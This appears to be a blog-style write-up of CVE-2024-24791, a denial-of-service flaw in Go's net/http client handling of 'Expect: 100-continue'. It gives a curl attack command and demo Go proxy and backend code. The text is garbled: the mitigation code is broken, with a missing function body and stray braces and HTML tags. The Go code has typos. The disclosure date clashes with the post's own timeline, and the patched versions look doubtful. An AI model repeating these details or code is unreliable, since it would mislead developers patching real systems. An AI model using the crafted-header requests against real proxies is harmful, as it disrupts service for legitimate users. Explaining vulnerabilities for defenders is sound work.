CVE-2024-24791 - Exploiting Go net/http "Expect: 100-continue" Client Handling for DoS

Go’s net/http package is a cornerstone for many web applications and services, powering everything from simple HTTP servers to robust reverse proxies. But in February 2024, a critical vulnerability—CVE-2024-24791—was disclosed, showing how a seemingly minor mishandling in HTTP header expectations can be abused for denial of service (DoS) attacks.

In this post, we’ll break down what went wrong, look at real code examples, and see how attackers can abuse this bug. All in plain language for developers, sysadmins, and security enthusiasts alike.

What Is CVE-2024-24791?

When a client sends an HTTP request with the header Expect: 100-continue, the proper behavior (according to RFC 7231) is:

Client: Sends request headers with Expect: 100-continue

2. Server: If willing, responds with HTTP/1.1 100 Continue

Client: Sends request body

If the server isn’t going to accept the request (bad authorization, missing field, etc.), it can skip sending 100 Continue and, instead, respond with an error like HTTP/1.1 401 Unauthorized or HTTP/1.1 413 Payload Too Large.

The problem in Go's net/http client is:
If it receives a non-informational response (status 200 or higher) to its "Expect: 100-continue" request, its internal connection can be left in an invalid state. The next user of that connection will see their request fail, even if everything is otherwise fine.

> Critical if you use Go’s net/http/httputil.ReverseProxy:
> Multiple requests with this crafted header will poison connections and repeatedly break the proxy’s service for real users.

Here’s a simple attack scenario on a Go-powered reverse proxy

- Step 1: Attacker sends a request through the reverse proxy with the header Expect: 100-continue

Step 2: The proxy forwards this to the backend.

- Step 3: The backend (maybe not expecting this header) replies not with a 100 Continue, but with a normal, final status (like 200, 404, 500, etc.)
- Step 4: The proxy’s connection to the backend is left in a broken state. The next request over the same connection will fail.
- Step 5: Attackers repeat Step 1 many times, quickly depleting the healthy pool of backend connections—causing lots of failures for normal users.

Exploit Code Example

Let’s see how easy it is to trigger this with Go code and cURL.

Attacking the proxy (cURL example)

curl -v -H 'Expect: 100-continue' http://your-reverse-proxy/some-resource

If your backend doesn’t explicitly reply with HTTP/1.1 100 Continue, but instead gives an immediate real response (e.g., 200, 404, 500), each run corrupts a backend connection.

This minimal Go HTTP server and client demonstrate the problem

// Vulnerable Reverse Proxy Example (httputil.ReverseProxy)
package main

import (
	"net/http"
	"net/http/httputil"
	"net/url"
)

func main() {
	target, _ := url.Parse("http://localhost:8081";) // Backend server
	proxy := httputil.NewSingleHostReverseProxy(target)
	http.ListenAndServe(":808", proxy)
}

// Backend Server
// (Run separately on :8081)
package main

import (
	"fmt"
	"net/http"
)

func main() {
	http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
		// Instead of responding with 100-continue, just send 200
		fmt.Fprintf(w, "Hello from backend!\n")
	})
	http.ListenAndServe(":8081", nil)
}

Now, send the attack

curl -v -H 'Expect: 100-continue' http://localhost:808/

> Each such request will leave the proxy’s connection to the backend broken. Repeated requests, especially under load, quickly make the proxy unreliable for legitimate users.

Why Is This a Big Deal?

- Denial of Service: Easy to script; attackers don’t need to flood with huge traffic, just send enough Expect: 100-continue requests.
- Affects Most Go HTTP Proxies: If you use Go’s reverse proxy in front of APIs, apps, or internal services, you’re at risk!

Mitigation & Patch

The Go team fixed this in Go 1.20.12 and Go 1.21.5.

- Upgrade Go: Get the latest releases
- Filter Unneeded Headers: If you can’t upgrade, strip Expect headers from inbound requests at your load balancer or proxy:

})

}
// Wrap your proxy handler

http.ListenAndServe(":808", expectHeaderDropper(proxy))

<br><br>- <b>Monitor for Attack Patterns:</b> Watch for spikes of requests with Expect: 100-continue` headers.

---

## References

- Go Security Advisory for CVE-2024-24791
- Official CVE Record
- Go Issue Tracker: Security Issue
- Go Release Notes (1.20.12)

---

## Conclusion

CVE-2024-24791 is a reminder that even mature, trusted libraries can develop protocol-handling blindspots. If you run or build Go-powered proxies, don’t ignore this one—a simple header can turn into widespread denial-of-service. Upgrade your Go runtime today, or apply header stripping and monitoring for attack patterns.

Stay safe, and keep your dependencies up to date!

Timeline

Published on: 07/02/2024 22:15:04 UTC
Last modified on: 07/08/2024 14:17:39 UTC